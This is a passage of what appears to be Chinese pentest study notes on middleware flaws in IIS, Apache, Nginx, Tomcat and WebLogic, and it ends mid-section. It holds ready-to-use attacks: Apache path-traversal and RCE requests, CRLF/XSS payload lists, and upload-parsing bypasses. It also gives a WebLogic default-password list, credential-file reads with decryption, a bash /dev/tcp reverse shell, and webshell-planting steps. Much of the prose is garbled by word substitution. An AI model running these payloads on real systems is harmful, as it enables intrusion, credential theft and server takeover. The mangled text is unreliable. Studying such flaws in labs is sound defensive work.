中间件常见毛病
中间件毛病IIS
文件剖析毛病
IIS 5.x-6.x 剖析毛病
1：/xx.asp/xx.jpg 、/xx.asa/xx.jsp
[*]毛病原理：.asp或者 .asa目次名字，这些目次下服务器会将此中全部文件视为asp剖析。好比：http://xxx.xxx.xxxx/xxx.asp/a.jpg，a.jpg会当成asp剖析，缘故起因是在.asp目次下。
[*]影响版本：IIS 5.x-6.x
2：xx.asp;.jpg
[*]原理：IIS6.0版本以下，会将 “ 1.asp ;.jpg ” 文件名从前往后读 效果就是看成 ASP文件剖析。结合下面的文件后缀剖析毛病，可以将asp换成其他后缀同样在影响版本内能够剖析。
即：*.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件，就可以通过服务器校验，并且服务器会把它当成asp文件实行。
[*]影响版本：IIS6.0版本以下
3：xx.asa、xx.cer、xx.cdx
其他文件后缀名剖析，被运维职员疏漏掉的名单。
[*]原理：asp.dll剖析实行这三种文件，所以毛病引发的是asp.dll文件
[*]影响版本：配置出错导致，无关版本问题
下面解释一下文件后缀：
[*] asa 全局配置文件
解释：相当于全局变量，可以被一个web应用步调中全部asp文件访问到，里面可以写变量以及函数等等，所以说这个也可以当成asp文件举行剖析。
[*] cer 证书
证书文件也能够被IIS剖析，可自行配置剖析哪些文件。 https://i-blog.csdnimg.cn/direct/bcbd3c909ae845bf80d3c49354ea7eae.png
[*] .cdx 文件
复合索引文件
4：IIS.7/8 + CGI配置不妥=剖析毛病
这里很轻易和nginx的剖析毛病搞混，IIS单单cgi开启就大概导致毛病，而nginx需要共同配置文件不妥。
访问方式：webshell.jpg/xxx.php
与Nginx cgi开启配置不妥一同明白效果更好
(在IIS 中 需要配置很多东西，比较难出现，但是测试的时间发现在版本内不妨可以尝试一下，但是对于nginx，共同上nginx的配置不妥就影响很大了)
[*]原理：webshell.jpg/xx.php 会将webshell.jpg的内容当成php步调举行剖析，这时间由于末了的那一个.php。
毛病前提：cgi.fix_pathinfo=1
且恰恰php.ini里默认cgi.fix_pathinfo=1，所以毛病现现在还是有大概存在的，对其举行访问的时间，在URL路径后添加.php后缀名会当做php文件举行剖析，毛病由此产生。
[*]影响版本：IIS.7~8
Apache
文件剖析毛病
apache剖析毛病
1：apache2.2版本剖析毛病
[*] 毛病原理
(多后缀名剖析，老版本通杀毛病)
test.php.php123：文件剖析规则是从右到左剖析，有不可剖析辨认的就继续往左辨认，因此上传文件可以通过该毛病举行绕过，然后访问的时间恰恰符合了apache的剖析毛病。（现在还有很多网站还有该问题）
好比在apache2.2版本之前是能够直接将test.php.xxx剖析成php文件实行的。（但是也不妨一试现在的网站，因为这个剖析毛病影响非常之大）
好比使用该毛病可以打7z，毛病影响下apache能剖析xx.php.7z
这个大概还真的很轻易被人忽略大概会将7z加进白名单或者没有加上黑名单等等，有的版本可以有的版本不可以，在版本2.2之前都行
注：目前还测试了apache5.2.17是能直接剖析.php.7z后缀名的文件。
(记住，肯定是 .php.7z 后缀名能够当成php剖析，还要特定的版本，反正都试一下准没错，不肯定说7z就能过)
[*] 影响版本：apache 2.2
2：别的配置问题导致毛病
毛病原理：
[*]AddHandler php5-script
（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要 文件名里包含.php 即使文件名是test2.php.jpg 也会以 php 来实行。
[*]AddType application/x-httpd-php
（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式实行xx.jpg
(但是这种情况比较少出现)
影响版本：配置问题，无关版本
修复方案：
1.apache配置文件，禁止.php.这样的文件实行，配置文件里面加入
（php3 是防止其他文件后缀名也被剖析，这里用了 | 或符号，所以可以自行添加）
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用伪静态能办理这个问题，重写类似.php.*这类文件， 打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
步骤如下：
把httpd.conf文件内下图中的 #号去掉—>重启apache—>在网站根目次下建立.htaccess文件：
[*]下面步骤是把httpd.conf #号去掉
https://i-blog.csdnimg.cn/direct/81f3907b626b489ea5cfee29e1e18bcc.png
[*]下面是.htaccess文件代码<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
3：黑名单绕过 .htaccess
毛病原理：
黑名单绕过 .htaccess 和 文件名叠加特性绕过（分布式配置文件）
精确控制能被剖析成php代码的文件，不轻易被发现
只要文件名匹配到所定义的字符串，就会将该文件看成php剖析
1 <FilesMatch "自定义.gif">
2 SetHandler application/x-httpd-php #在当前目录下，如果匹配到自定义.gif文件，则被解析成PHP代码执行
3 AddHandler php5-script .gif #在当前目录下，如果匹配到自定义.gif文件，则被解析成PHP代码执行
4 </FilesMatch>
影响版本：上传绕过，无关配置
4：\0A HTTPD换行剖析毛病(CVE-2017-15715)
毛病分析说在前头：注意访问的时间需要添加上%0a，这一点很重要！
CVE-2017-15715的出现是由于apache 在修复第一个后缀名解析漏洞时，
使用 正则表达式匹配后缀，在解析php时xxx.php\x0A 将被php后缀进行解析，
导致绕过一些服务器的安全策略，影响版本Apache HTTPd 2.4.0~2.4.29。
毛病原理
apache这次剖析毛病的根本缘故起因为$，在正则表达式中，$用来匹配字符串末了位置。但是如果在HTTPD的配置中设置了RegExp对象的Multiline属性，则 $ 也匹配 \n 或 \r 。要匹配$字符自己，请使用 \$ 。就导致如果在上传文件时，在文件名背面添加一个十六进制的换行符 \x0A ，好比 1.php\x0A ，也能被正常剖析，并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名，就有大概存在该毛病。在影响版本中，默认的Apache配置即可使用。
总而言之：是因为apache正则匹配可以匹配回车或换行符，当我们加上\x0a的时间php\x0a不在黑名单内，就是绕过黑名单检测，绕事后因为apache又能够且正常剖析，即能把.php\x0a当成php文件，因为\x0a是换行而不是后缀名中的最终剖析成功了。
说白了就是.php\x0a根本不在黑名单后缀名内，但是apache又能正常剖析，所以就导致了毛病。
抓包通过修改文件名后十六进制加一个\x0A即可
https://i-blog.csdnimg.cn/direct/8f5dd23d58814f1888cfd4e32cbe1af7.png
注意访问的时间需要添加上%0a，这一点很重要！再提一遍！
影响版本：2.4.0~2.4.29
下面小小的总结一下以及贴出修复方案，apache上传木马文件思绪就是：
1：先看看是否是2.2版本之前。从右往左解析到有能解析的后缀名就解析，比如：test.php.xxx
2：或许运维人员配置了 AddHandler php5-script .php尝试上传xx.php.jpg等等只要包含又.php即可解析 。
3：又或者多尝试几个后缀名jpg/png/php1/php2/php3等等，或许运维人员就AddType application/x-httpd-php .jpg添加了这些扩展名为解析文件。
4：可以尝试上传.htaccess文件看是否能够成功上传。
以上就是apache常见的文件剖析毛病
Apache 2.4.49/2.4.50路径穿越（CVE-2021-41773/42013）
讲授之前肯定要记住，穿越的前提是需要知道访问的目次是一个存在且可访问的目次。这就是为什么大多数人复现的时间都带上了/icons/和/cgi-bin/文件夹
[*]毛病原理
ap_normalize_path函数在对路径参数举行url解码，然后判断第一个字符是否是.，如果是.的话就会继续判断后两个字符是否为./，即这两步骤就是否存在…/的路径穿越符。
但！我们协商.%2e/的时间，进入第二次判断.背面两个字符是否是./的时间检测到时%2，而不是./，那么就成功绕过举行目次穿越了。
网上没看到有人讲为什么解码后不应该是…/然后举行判断的时间肯定是过不了的，为什么会造成这个毛病？？？
注意：这里我提问了gpt，给出的解释是因为解码后的url路径和举行判断的url路径值不一致，也就说解码后的路径没有用来判断，否则解码后的肯定是…/，举行判断的而是.%2e/所以导致判断后两个字符的时间出现了毛病。。。
GPT：解码后的路径大概并没有及时影响到路径检查的逻辑，导致原始的 %2e 和解码后的 . 在差别步骤中分别被处理，这正是导致毛病的根本缘故起因。
[*] 毛病复现（直接无脑用payload就行了）
[*] icons目次
/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
https://i-blog.csdnimg.cn/direct/72b70f5da4a248d5b1434840e570018b.png
实测%2e%2e也可以，因为还是老样子，背面判断./不成功就造成毛病了
https://i-blog.csdnimg.cn/direct/c0be6e892e8e4c2e8574c359a33e37e6.png
[*] cgi-bin目次（RCE）
payload
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
Host: 192.168.29.140:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
echo;id
这个需要echo;，然后加上你要实行的命令https://i-blog.csdnimg.cn/direct/f1fed5a529ed4d8ea7431897e702b8a5.png
同理2.4.50版本后的毛病同样可以实现该效果
[*] 毛病原理
（注意是将%2e中的2e举行二次编码）
二次编码：. -> %2e->%%32e
解码的时间：%32e->2e 那么 %%32e->%2ehttps://i-blog.csdnimg.cn/direct/6d12397e744944e78327fd4e541fdcb8.png
apache具体解码底层就不穷究了，这里有大佬的文章：https://xz.aliyun.com/t/10359
[*] 毛病复现
/icons/目次存在，可以读取，没问题
https://i-blog.csdnimg.cn/direct/2d6809c48c074a14a00923a8413726cb.png
实测%%32e%%32e可行
https://i-blog.csdnimg.cn/direct/fa2d7293b67c4bca9d1fa1c7533c6b23.png
同理POST实行RCE也是可行
https://i-blog.csdnimg.cn/direct/945ff5f9caa347c8ab492c09365f0b77.png
Nginx
文件剖析毛病
1：nginx配置不妥+cgi开启=剖析毛病
[*]先看原理
nginx配置不妥且cgi开启，好比上传了图片马webshell.jpg，
我们只需要在访问webshell.jpg的时间改成访问webshell.jpg/xx.php，
这里剖析原理为：
当nginx看到访问的是php文件，就直接交给fastcgi处理，然后fastcgi又把这个交给php剖析器处理，那么剖析器处理的时间没有找到xx.php，然后就往上层目次找文件，就把webshell.jpg当成php文件剖析了，因为原来就是php剖析器找，所以肯定会当成php直接剖析了，毛病已成。
访问方式：webshell.jpg/xxx.php
（注：这里和IIS7/8的毛病一样 CGI配置不妥，一同明白效果更好，也是webshell.jsp/xx.php，但是nginx中需要再共同上nginx.conf配置不妥）
该毛病与nginx、php版本无关，属于配置不妥造成的剖析毛病。
当php.ini配置文件中开启了cgi.fix_pathinfo，该值默以为1，表示开启。
这是因为cgi.fix_pathinfo开启了，然后故意访问一个不存在的php后缀名文件，然后cgi.fix_pathinfo就会主动的向上一级目次访问，第一个访问的文件是php，所以接下来都会把文件当成php来剖析了。
https://i-blog.csdnimg.cn/direct/6edea492923f4daf93268e35d0e799af.png
但是我们加上一个不存在的文件，但是后缀名必须是php，然后cgi发现没有该文件，往前找就找到web，但是由于一开始是希望访问php的，所以直接把web.jpg当成php剖析了。这个毛病影响范围很大。
https://i-blog.csdnimg.cn/direct/48ef4cc922434fe0a47781322939acfb.png
修复方案如下：
1.修改php.ini文件，将cgi.fix_pathinfo的值设置为0
2.在Nginx配置文件中添加以下代码：
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
2：%00 或 %20截断
nginx也有这个00截断毛病：www.xxxx.com/UploadFiles/image/1.jpg%00.php
xxx.jpg%00.php (因为在Nginx影响版本内存在空字节代码实行毛病)
http://.../1.jpg/%00\0.php
%00不行的话试试%20，%20也算是00截断的一种
www.xxxx.com/UploadFiles/image/1.jpg%00.php
#我们试过这个00截断，除了apache之外，nginx也有这个00截断漏洞,这个导致的效果是：1.jpg会被当成php文件来解析。
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php #这样也算是00截断的一种，不行的时候试试这种。
[*]影响版本
Nginx 0.8.41-1.4.3 、Nginx 1.5 -1.5.7
CRLF注入（%0d%0a）
CRLF Injection 又叫 HTTP 响应拆分/截断
CRLF 是 CR 和 LF 两个字符的拼接，它们分别代表 “回车+换行”（\r\n）
十六进制编码分别为0x0d 和 0x0a
[*] 毛病危害：(根据插入的 CRLF 的个数差别)
[*]恣意设置响应头
[*]恣意设置正文内容，如xss
[*]缓存病毒、日志伪造等
[*] 解释：为什么会这么多危害？
首先%0d%0a是回车换行，加在url中的时间，nginx配置中使用了$uri或者$document_uri来拼接，导致我们的回车换行起了作用，最终可以在响应中设置键值对且自定义响应正文(自定义响应正文多加一个回车换行即可)
如图所示，解码后就是多了一行换行，那么我们自定义内容就可以去到正文中，来个xss弹框了~
https://i-blog.csdnimg.cn/direct/8caa468a924b48e089c3fccde9fb0c52.png
[*] 毛病复现
[*]添加响应头
抓包填入：/%0aSet-Cookie:hacker%3dwtf
存在毛病的话就会发现响应包中已经被我们控制了键值对
https://i-blog.csdnimg.cn/direct/470d14224bf54ca8802c167e63e44c47.png
[*]xss弹框
抓包填入：/%0a%0a<script>alert(/xss/)</script>
两个%0a填入就可以多一行，我们控制的内容就进入到正文中了。
https://i-blog.csdnimg.cn/direct/0b5c5b78146d44e2ab982de842866e66.png
注：测试后发现%0d为回车不会换行，所以只填%0d是不成功的，可以看到就算两个%0d都是失败，因为%0d是回车，回车是回到开头，但因为location已在，所以无法删除location就追加在后头了。但是可以两个共同用，好比两个%0a%0dxxx%0a%0d这样，如果单个%0a方式失败可以试试%0a%0d两个一起上(%0d%0a的顺序不影响效果)
https://i-blog.csdnimg.cn/direct/679ffa55e71d42d48821a51800220e01.png
[*] 联动打xss
这里可以结合设置响应头来美满打xss
因为有的欣赏器会默认防护一些反射型的xss，我们可以通过这个毛病设置一个：X-XSS-Protection: 0 ，那么欣赏器就会关闭防护，我们的xss就美满打成功了。好比之前新浪就有这个毛病。
抓包填入：/%0a%0dX-XSS-Protection:%200%0a%0d%0a%0d<script>alert(/xss/)</script>
https://i-blog.csdnimg.cn/direct/168c9d7a99ed4df7a9c3e3f29a002d2a.png
[*] 以下是一些CRLF注入的payload
#探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
#开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header
#CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSSProtection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%
0a/%2e%2e
#XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContentLength:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
//Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
[*] 毛病原理
因为$uri拼接的时间会解码，所以导致我们的回车换行见效了，导致CRLF注入成功。（同理$document_uri也是会解码）
https://i-blog.csdnimg.cn/direct/a693b70863624994a45bbcb9bd34540a.png
[*] 毛病防御
1、对用户的数据举行合法性校验，对特别的字符举行编码，如<、>、’、”、CR、LF等，限制用户输入的 CR
和 LF，或者对 CR 和 LF 字符精确编码后再输出，以防止注入自定义HTTP头
2、创建安全字符白名单，只担当白名单中的字符出现在 HTTP 响应头文件中
3、在将数据传送到 http 响应头之前，删除全部的换行符
目次遍历（穿越）
这个经常会出现在nginx做反向代理的时间出现，就上面讲过的文件剖析毛病原理提到过的流程，就是动态的好比php文件nginx不会直接处理，是先交给后端，然后静态的就直接去目次下找文件。
（这里我们的挖掘毛病的时间可以翻一下静态存储文件的目次好比static之类的，可以尝试一下是否有目次穿越毛病）
[*]毛病原理
缘故起因是alias设置目次的别名，然后files和home/中files少了/，导致…/转到home中的时间返回了上一级。
https://i-blog.csdnimg.cn/direct/44dc41756cbc4c0aaa0f50b11bfe9af4.png
[*]毛病复现
https://i-blog.csdnimg.cn/direct/1de8589b7b65481d991399c7d5eabcfd.png
Tomcat
文件上传毛病(CVE-2017-12615)
[*]毛病原理：
/conf/web.xml 配置了可写（readonly=false），那么PUT方法即答应上传恣意文件。
https://i-blog.csdnimg.cn/direct/baccc84ded6649be9ebebef8c594f988.png
[*]影响版本：Apache Tomcat 7.0.0 – 7.0.81
[*]毛病复现：
抓包修改哀求方法为OPTIONS，访问路径随便访问一个，不要为空即可
https://i-blog.csdnimg.cn/direct/f4da233f122a48b6abf973cbd530d7cc.pngOPTIONS /aaa HTTP/1.1
Host: 192.168.29.140:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
x-originating-ip: 127.0.0.1
x-forwarded-for: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
x-client-ip: 127.0.0.1
Connection: close
PUT 方法传入文件，可以尝试直接往web应用的根目次传入jsp文件
https://i-blog.csdnimg.cn/direct/f71aff3ee2e94bafba56b3cf7cf48e85.png
直接访问即可看到成功创建。
https://i-blog.csdnimg.cn/direct/06b181a8517d4b5a93257cacb977794b.png
文件包含毛病(CVE-2020-1938)
[*] 毛病原理
默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议举行交互。由于AJP在设计上存在毛病，发送恶意哀求到达恣意文件读取。（有大佬写了使用脚本）
[*] 影响版本：（以下版本前提是开启了8009端口的AJP服务）
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
[*] 毛病复现
#脚本下载地址：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.29.140 -p 8009 -f /WEB-INF/web.xml
https://i-blog.csdnimg.cn/direct/8d75bf88d0cd4e2d9a448413df202d69.png
弱口令导致war远程部署getshell
[*]毛病原理
弱口令进入后台，通事后台上传war木马部署应用步调getshell
[*]影响版本：无关版本，弱口令导致。
[*]毛病复现
这里知道弱口令进入后（默认账号密码：tomcat/tomcat），天生一个木马来getshell。
https://i-blog.csdnimg.cn/direct/f9602a47a49746a29c5991e1e4616769.png
https://i-blog.csdnimg.cn/direct/cc46caaa3ebf4fa089949692ffe6b9c5.png
使用哥斯拉天生一个马子，记得切换java，不然无法剖析
https://i-blog.csdnimg.cn/direct/e274b4cd01df49d9ac9477e957fb5da3.png
接着将这个马子压缩成zip->然后将zip改后缀为war
(最终是这样的，牢记是先压缩后将zip改后缀)
https://i-blog.csdnimg.cn/direct/dddc86014a2b4a81b0e40cd03f93a9c1.png
点击上传
https://i-blog.csdnimg.cn/direct/a7aaf588656347f7aa7ad3702059796d.png
成功上传
https://i-blog.csdnimg.cn/direct/f87e24a434fe4156a8a028e68f7f8ebd.png
查验是否上传成功且检察是否可连接
访问：/ws/ws.jsp
解释：因为你上传的是ws压缩包，固然是war但是也还是zip，你压缩包里面是ws.jsp所以就访问时间加一层ws.jsp，如果你压缩的文件名不一样就自己改就行了 。
https://i-blog.csdnimg.cn/direct/1d95ad7b2ce34c3392cb8fa3c8ba2930.png
连接成功
https://i-blog.csdnimg.cn/direct/7be868948ac54488b906e06a3b2f38fb.png
补充：
可以看到下面我访问的是/ok/fuck.jsp，很显着我打包zip包是ok.zip然后里面是fuck.jsp，然后上传的时间改后缀为ok.war，所以访问的时间得/ok/fuck.jsp，所以不要范围于上面一样的名字。（这里的解释以便后续复习）
https://i-blog.csdnimg.cn/direct/4484837b378f449db243fb031ca5126a.png
Weblogic
弱口令
访问 /console，主动跳转到登录页面，以下是一些可尝试的weblogic弱口令
https://i-blog.csdnimg.cn/direct/28df7f5784bc42208dfd7417639e0dd2.png
weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic
https://i-blog.csdnimg.cn/direct/8b50b12aa2794f0e96f307bc143d3963.png
恣意文件读取毛病
[*] 毛病原理
路径下存在恣意文件读取： /hello/file.jsp?path=/etc/passwd
[*] 影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
[*] 毛病复现
使用该毛病可以读取到后台登录的密码（用户名在读取confi文件的时间就有写）
下面先尝试读取/etc/passwd
http://192.168.29.140:7001/hello/file.jsp?path=/etc/passwd
https://i-blog.csdnimg.cn/direct/32d17e89c1a34ff585043a8ece18e80f.png
接着就可以读取密文文件了
[*] 原理是：
[*]读取配置文件拿到加密密钥:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
[*]读取密文文件内容（即加密后的密码）
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
注：该文件需要使用抓包工具抓包然后将文件内容另存为.dat文件，否则直接恣意文件读取出来的大概会有干扰。
[*]接着拿着密文文件内容和密钥使用工具举行解密：
https://github.com/TideSec/Decrypt_Weblogic_Password
复现如下
恣意文件读取：/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
直接复制出来密钥：
（其实密钥上面的标签里面内容 weblogic 就是对应的用户名）
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
https://i-blog.csdnimg.cn/direct/c312fae5bce54d6a9d4995c113c7cad7.png
恣意文件读取：
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
https://i-blog.csdnimg.cn/direct/e6ba876cee8d492cad36508faebc4dfd.png
选中内容右键生存在文件中
https://i-blog.csdnimg.cn/direct/0979d1bae4514eeda42644bcc3a14f8b.png
本应该填入密钥和密文文件就能解密来着，但是很遗憾我这里bp读取出来失败了，我还是去欣赏器下载了
https://i-blog.csdnimg.cn/direct/9ca9674de1dd444a9a83693988ddc55e.png
这里下载下来的文件需要删除两个回车才能解密成功
https://i-blog.csdnimg.cn/direct/d52cf8472df44c978893809d995653e4.png
填入密钥和密文文件
https://i-blog.csdnimg.cn/direct/aa9adea78c3448a09158caca421e2859.png
XMLDecoder反序列化毛病(CVE-2017-10271)
[*]毛病原理
Weblogic的WLS Security组件对外提供webservice服务，此中使用了XMLDecoder来剖析用户传入的XML数据，在剖析的过程中出现反序列化毛病，导致可实行恣意命令。
[*]影响版本
weblogic 10.3.6.0
weblogic 12.1.3.0.0
weblogic 12.2.1.1.0
毛病复现
1.反弹shell
随便抓个包修改为POST，路径改为/wls-wsat/CoordinatorPortType
数据包如下所示
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.29.140:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: text/xml
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.29.140/4445 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
此中反弹的ip地址和端口号自己修改
https://i-blog.csdnimg.cn/direct/e03ddb44a635447bbcf0855056de1064.png
然后开启监听
https://i-blog.csdnimg.cn/direct/e08a6fe0788e4ca3a7d569218711a13c.png
发送后就会看到反弹返来的shell
https://i-blog.csdnimg.cn/direct/d6bc72743fd44ade8a4aef1d0094173b.png
2.植入webshell
抓包填入如下数据包
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.29.140:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 655
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("fxxxxxxxxxxxxxxxxxxxk"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
自己修改这里的代码，可以写入webshell，这里就随便写入一个输出文件
https://i-blog.csdnimg.cn/direct/bfc2032a1204446ba0b80654bd7e4b6d.png
访问的路径为：/bea_wls_internal/test.jsp
https://i-blog.csdnimg.cn/direct/048fee7153bd499aa59275e9f0bc35cd.png
恣意文件上传毛病(CVE-2018-2894)
[*] 毛病原理
Weblogic管理端未授权的两个页面存在恣意上传jsp文件毛病，可直接获取服务器权限。两个页面分别为**/ws_utc/begin.do、/ws_utc/config.do**。
Oracle 在2018年7月更新中，修复了Weblogic Web Service Test Page中一处恣意文件上传毛病，WebService Test Page 在’‘生产模式’’ 下默认不开启，所以该毛病有肯定限制。
最终导致毛病的是因为登录后台后将测试页面开启，然后访问可以上传文件的页面：/ws_utc/begin.do、/ws_utc/config.do，设置一下目次(反正按照教程来设置就行)，然后上传keystore文件，访问即可剖析木马。
[*] 影响版本
Weblogic : 10.3.6.0
Weblogic : 12.1.3.0
Weblogic : 12.2.1.2
Weblogic : 12.2.1.3
[*] 毛病复现
首先找到后台登录密码，这里直接通过docker过滤密码出来
docker-compose logs | grep password
https://i-blog.csdnimg.cn/direct/818f34b8e061402993e795fd1f0dc568.png
登录进去后找到base_domain点击
https://i-blog.csdnimg.cn/direct/752f869e6f9047c58c5c227744d1178b.png
然后找到Advanced点击展开，然后找到下面的开启测试页面
https://i-blog.csdnimg.cn/direct/6bc65797db0f486ba7550ab96419c5d0.png
打钩跋文得往下滑生存
https://i-blog.csdnimg.cn/direct/a5337940c32e41b3830bc1d0f6f3b7bd.png
访问 http://192.168.0.27:7001/ws_utc/config.do ，设置Work Home Dir为：/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将其设置为ws_utc 应用的静态文件css目次，访问这个目次是无需权限的。
https://i-blog.csdnimg.cn/direct/a32b0b4fcc2848f1847adb5bd6807f36.png
设置完成后点击安全举行设置
https://i-blog.csdnimg.cn/direct/dd741425984449ea93d57e64938d0486.png
点击ADD添加keystore，name和password可以随便填，重要是要上传好你的webshell木马
https://i-blog.csdnimg.cn/direct/35887c9dbd8c4c8a9ef2a23e2b9184cd.png
点击上传之前记得抓包
https://i-blog.csdnimg.cn/direct/4062b12d80ba4258878ff72201269e90.png
放到重放器或者你直接抓取这个响应包
这里我放到重放器发包，响应包中回应了一个时间戳
https://i-blog.csdnimg.cn/direct/5e202fcbdbe944f49ab62e8ca51a771e.png
访问路径为：/ws_utc/css/config/keystore/1726076168614_csits.jsp 背面要访问的文件名是你上传文件响应返来的时间戳然后拼接上文件名就成功访问了。
https://i-blog.csdnimg.cn/direct/835ba18ed7954145afeaa0343b51f0a3.png
妥妥拿下
https://i-blog.csdnimg.cn/direct/353e239d6bd94f7a84d4886403be097b.png
管理控制台未授权(CVE-2020-14882)
[*] 毛病原理
这里附上大佬的剖析：https://www.cnblogs.com/MoZiYa/p/16690190.html
像我这种脚本小子只需要知道直接访问：/console/css/%252e%252e%252fconsole.portal
第一次访问大概会不成功，试了很蛮多版本都会出现这个问题，多试几次即可。
[*] 影响版本
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
[*] 毛病复现
https://i-blog.csdnimg.cn/direct/3941790b032f4b038fbb12b9d4d86224.png
远程命令实行毛病(CVE-2020-14883)
[*] 毛病原理
共同未授权访问毛病可以打一个远程命令实行。
CVE-2020-14883答应后台恣意用户通过HTTP协议实行恣意命令。使用这两个毛病构成的使用链，可通过一个GET哀求在远程Weblogic服务器上以未授权的恣意用户身份实行命令。
[*] 影响版本
